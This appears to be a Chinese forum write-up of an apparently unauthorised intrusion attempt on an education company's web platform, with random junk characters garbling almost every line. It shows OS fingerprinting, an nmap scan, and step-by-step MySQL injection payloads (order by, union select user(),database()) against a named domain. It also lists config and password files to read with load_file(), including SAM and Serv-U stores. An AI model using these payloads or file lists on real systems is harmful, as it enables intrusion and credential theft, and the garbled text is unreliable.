题记:2 H, A \& ^0 `8 b6 Q
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……" {2 d' s7 k7 E8 N3 O% _
第一步:获取需要的信息
& ~3 l4 W4 k' X由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。4 D; v/ g" v$ _% i* M* L2 N
注:以下为保护特用XXX代替敏感信息
8 ?/ R1 ?- w' I* @5 m) {顺手先PING了一下他们的域名:. [6 i3 V& m4 k0 m; d0 u
ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)* y$ D, |% p, L& D6 I6 k J9 C* e
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms
5 I$ F: [5 ?. p# h6 z顺便了解一下TTL,学好基础知识才能一路顺风:
6 n5 Q2 J! j1 w5 ]TTL:(Time To Live ) 生存时间
) w7 D& c0 P* [& V$ A9 ], I指定数据包被路由器丢弃之前允许通过的网段数量。7 U0 ]9 B( ^6 ^+ N- [/ _
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。( \4 U1 [ O. y0 P" x) ]
使用PING时涉及到的 ICMP 报文类型
7 {: y' E( j7 B, a一个为ICMP请求回显(ICMP Echo Request)
% V! P% J4 s2 L5 w8 p# o一个为ICMP回显应答(ICMP Echo Reply)% n% k, p z- @2 N4 n9 W( X) F
TTL 字段值可以帮助我们识别操作系统类型。: z! |4 j9 p* V1 Y# Z
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
' @9 x# w& ^3 @% \( X& {; \Compaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64
, `: S$ w" F% _) ` I8 T) x4 A4 ]* x微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128; k/ s G: w b, K; B6 c" p% C, W
微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 32
4 t0 H# i* ~) T8 _2 f4 e当然,返回的TTL值是相同的
7 j1 }3 t/ n7 [/ q) x, Z r但有些情况下有所特殊
s2 A& J- _. {4 g% {LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 646 ~9 M: |7 V! j" r
FreeBSD 4.1, 4.0, 3.4;
/ T5 A9 b+ E7 v/ n: tSun Solaris 2.5.1, 2.6, 2.7, 2.8;
+ o9 u5 p3 Y8 t3 SOpenBSD 2.6, 2.7,6 F' t7 L7 Z3 p( Y8 H
NetBSD
6 C( _9 n" E, r# |+ n2 v) `HP UX 10.20
, x0 ?: u. u/ F1 N1 m; yICMP 回显应答的 TTL 字段值为 255* A9 i- T& V) h5 ?3 T- d! ] V
Windows 95/98/98SE
( J# X( M8 R5 v) dWindows ME& |# L) e M" C# ?
ICMP 回显应答的 TTL 字段值为 32
( q, x: x! r. aWindows NT4 WRKS" t" L7 U/ W. ~( F
Windows NT4 Server3 d7 M1 Y/ T& H5 q9 h
Windows 2000( \$ b; U; V! M; V, S
Windows XP
9 J6 @1 w2 t5 V1 s6 [ICMP 回显应答的 TTL 字段值为 128
9 ~% I8 J! V6 A' |" }0 x这样,我们就可以通过这种方法来辨别操作系统
. v* N; k8 @4 H4 GTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
: b+ d: d6 ~) P: u# l- s用NMAP扫描一下:
0 c/ Q% t, u8 C! R" m7 }- t! q2 ynmap -sT -O XXX.XXX.XXX.XXX
' ~6 I" j& _6 [ w1 h2 b) A如果没有装WinPcap则会弹出提示:, z9 k3 m; ^. e/ J
WARNING: Could not import all necessary WinPcap functions. You may need to upgr
6 X/ M4 L) R3 w% u8 tade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(
: b1 {/ R' }, k9 t/ I9 G1 T) mode — Nmap may not function completely
7 X& e/ [ _4 y( K- |TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
! B! b/ t/ B1 {5 K. J3 k! J, g' Hand iphlpapi.dll be installed. You seem to be missing one or both of these. Win
: x) K/ f u |, x( O$ d0 rpcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an3 |; x1 p- V% \% i/ i1 t9 d. D
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v2 c& e8 r3 R. I6 e
ersions, you may be able to take iphlpapi.dll from another system and place it i
# L- s" Z! P- |n your system32 dir (e.g. c:\windows\system32)., `# }; K& M5 ]2 U
QUITTING!
2 a( i$ e7 {) E( x7 b8 c4 H到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
& D# q! d7 ~& a6 B# v. q: d" v/ y安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:% U$ l3 [/ ~" }" R* [9 V: E( n
Interesting ports on XXX.XXX.XXX.XXX:& x- F# b* x9 x, [1 I: J5 M
Not shown: 986 closed ports
+ S& e6 k( v% A& }/ _1 s" b2 bPORT STATE SERVICE
1 H; }6 @3 s, F6 o2 w9 z, w: r. u9 x/ S21/tcp open ftp
5 e _6 w! |6 h22/tcp open ssh8 Y# G+ z6 r& N0 Z4 y% e
23/tcp open telnet" o, Y6 P* c) \8 T9 L5 D8 o
80/tcp open http
- l% J5 x2 |% c) M0 S111/tcp open rpcbind
! ^0 @7 o8 `5 @/ w4 J6 q7 G135/tcp filtered msrpc
) f7 x0 M* v4 N% ]9 A6 w. i, |139/tcp filtered netbios-ssn
3 K" h& t# k6 W/ @$ h445/tcp filtered microsoft-ds
+ W: V) d- ]8 ?" T9 j513/tcp open login
1 s) T0 K& z0 w514/tcp open shell% b0 P; A# s0 N* J1 X9 V2 ~; v
593/tcp filtered http-rpc-epmap
Y2 N4 ~" I& j9 N) Q3 B8 N7 B8 u1720/tcp filtered H.323/Q.931
2 l; h% I9 |& L" t$ r* W7 k3306/tcp open mysql
+ u- B0 E3 }2 B. }& e/ l4444/tcp filtered krb524
1 F* l' Q' ~7 B# s' xDevice type: WAP
/ G- D( l5 t5 n N$ KRunning: Linux 2.4.X
7 B; Y% J" ~* TOS details: DD-WRT (Linux 2.4.35s)# { k4 _6 s6 S( T& s' l0 A
Network Distance: 13 hops2 Y( d* R4 ]$ h/ c: ^
看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
0 @( v3 X! |% T" V% o$ ^9 Q; glogin as:
. h! p( ]0 R; E# Y6 Y4 H: z2 @Telnet23端口也是开着的,用telnet 命令链接一下:
1 _1 Y- ]5 `9 _' s3 c/ jtelnet XXX.XXX.XXX.XXX9 g- a' i H8 `. b
提示:
9 z5 {8 ^: b7 l& I/ m" W7 x- H+ PRed Hat Enterprise Linux Server release 5.2 (Tikanga)
. z/ r7 O1 L8 |6 F( {- U/ GKernel 2.6.18-92.el5PAE on an i686
5 t8 p$ Q, Q) I- Q- n/ y% Nlogin:2 e! X. R2 R: `- f9 d
获取HTTP头信息:
5 @; y0 {' Y! k g8 ~& a2 R/ U+ [在本地执行如下PHP代码
8 H& a; L& w; V, l3 B8 v<?php8 ?/ s0 u+ l4 U/ G4 t3 f
$url = ‘XXX.XXX.XXX.XXX’;4 \+ o$ l, N6 V4 m
print_r(get_headers($url));
" t* c# D/ S0 R* D; Pprint_r(get_headers($url, 1));
2 X/ U3 W+ g Q) W/ T& s& D+ O$ B?>
; j3 l2 \+ K2 a) Z将以上代码保存为PHP文件,执行:0 k/ K+ P' ^& P( c- j2 k
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )! z5 y. t4 H$ x- v3 z; }( i
现在可以得出结论:
, l* m j6 h# X$ c系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)
4 s2 V6 T9 s) e" N \内核版本:Kernel 2.6.18-92.el5PAE on an i686
# f* p' h% F# f* U: X* C, AWEB服务器版本:nginx/0.7.61
" B) Z5 n) R9 _. z. k) Y( l第二步,开始测试寻找漏洞
. L4 H2 L& t3 t5 ~) ]/ Q分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。0 U$ X4 {' y, K0 N( Q- a
1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的6 O4 L) w5 g. F D" l
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试
W' K7 P2 E0 Z- j) @http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
# y" Z; p8 X& T( Rhttp://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
* d9 E7 V. r9 `1 U9 @+ E t9 C' q恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
& O9 O- H0 a; q; }! p- }3、手工注入:7 J3 }3 H0 J% }( R
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。' {2 P8 C8 @' N4 b$ @$ r d
3.1 猜测当前表字段数 B( t8 a0 [1 J- `/ u3 U1 F. G
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10& c% D6 h: @: ~
此处猜测有个简单的算法,都是有技巧的吗,呵呵
1 J; o( g$ O9 k0 `$ P, X+ X算法简单如下:% R* I! Q v) O3 y; J3 A
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;. [* o/ @+ M% N+ p G3 e9 N
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;$ P4 h* j2 b0 l9 j3 I( g
需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
7 ~! ^, U' B1 X5 K2 Z6 J以此来判断,是否过界,配合取中算法猜出字段数。2 z4 Y# x" w8 L7 _$ ]% V- v3 u
举例:! s8 D8 ]" I$ b C; z# t* H
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常# U# Y/ o# u9 p* h2 r, |6 D6 ]' t6 S
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
, l$ [0 v0 v0 c( w此时3则为我们要找的字段数。
" T4 `9 B- v: x' t$ o8 v6 S' y" b3.2 配合union联合查询字段在页面所位置
7 m& B+ G% D' v$ S9 v0 w6 M1 W我们已经知道了字段数为3,此时则可以做如下操作:
( N% F- q7 p( I' j' Dhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
9 f5 ~- L i5 a4 v% j& ]& w7 S% I% e1 X* s! k# n8 p* Q
这样就可以测试到哪些字段在页面上有所显示了,如图:- G! }2 Q) k* U+ @' T& m
2 I3 h, n4 m# M' w" u3.3 查敏感信息/ L8 L& o! c4 f' U4 C/ }9 [; ?) C
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
! v" U# m% Z; E1 ]5 M4 E9 Vhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
8 E7 I( E- S' f+ S0 G+ Q7 n' W3.3.1 先查数据库用户、数据库名,以备后用,如图:, p, l( s6 |. ]/ A8 B
9 c, N2 W- X( T5 m, R+ O2 H$ t5 h; `
得到数据库用户为root、数据库名为DBxx;& l8 \% P6 i j, R1 p/ L
3.3.2 查配置文件/ O. ^- @ @3 h% P
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。
2 N. W }6 L$ d查看文件有一定的条件限制:' a: A& \9 h. {/ Y; b1 E" \
欲读取文件必须在服务器上. ^ }' N, l; Y1 O
必须指定文件完整的路径7 f# L7 ]1 o* B# w* j7 ^% T7 A( a
必须有权限读取并且文件必须完全可读0 N4 f3 F1 b2 L+ h, B
欲读取文件必须小于 max_allowed_packet0 J1 e4 P' [$ e/ i3 M0 \ U
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
3 Z! {( J6 ?+ P& t: |常用的一些:. F& z" V8 H r! u ?: c
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
& x, P' J0 f2 B) J# V7 z* u/usr/local/apache2/conf/httpd.conf
}' |3 f( x# u) S; r/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置" @) ^, t7 i! m) ^4 B1 U7 b9 A
/usr/local/app/php5/lib/php.ini //PHP相关设置
) O r ~# X! F }; `' }/etc/sysconfig/iptables //从中得到防火墙规则策略
$ \' X8 t' e7 V" M/etc/httpd/conf/httpd.conf // apache配置文件
$ R" o% u9 w8 K, c1 s$ L3 \! B/etc/rsyncd.conf //同步程序配置文件. W" Z# ^: S' R- ?& @" W; l
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.3 T8 \9 k/ U8 f: g, }6 C% y
/etc/my.cnf //mysql的配置文件& E z, O. {1 x m, o
/etc/redhat-release //系统版本
2 m" c# m' o: L& Y/etc/issue% h: ], K' l6 b6 h4 T
/etc/issue.net
: L* e8 ^: P5 z( lc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
3 L( E& v" @: E8 ~$ X3 ?6 Dc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码3 Q6 L7 Z( |; Z h; r& X
c:\Program Files\Serv-U\ServUDaemon.ini
. e6 y1 t5 F$ R/ A9 G2 {c:\windows\my.ini //MYSQL配置文件, P+ G, g8 ~; h3 L7 D' b. {
c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
% v* d4 d# A6 o5 E* U1 `% H6 }等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,5 E X6 h7 d% w, ]3 h& B2 [" }- X
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码0 v. t6 m1 _, M4 T; ^1 n3 m, j
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
& E0 W( D# O; y" m6 ]( lc:\Program Files\RhinoSoft.com\ServUDaemon.exe
. x# ?# D4 }- x6 r& T. }C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
' u: K" ~% s7 a" a% M# K/ U9 I//存储了pcAnywhere的登陆密码- P6 u# ^ F$ c0 x/ p) F
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。" p" ~# e- f$ a9 `. z
这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。/ `4 A. J! H- w4 ]4 w- |) i g/ c/ i
最后:防范措施6 `7 t9 ^5 Z4 t7 h" G" B) l
1、修复PHP注入漏洞;2 g6 E0 V3 s+ o5 J3 e; {
2、Mysql使用普通权限的用户;5 I* [# U9 C4 g' e
3、升级linux内核至最新版本; |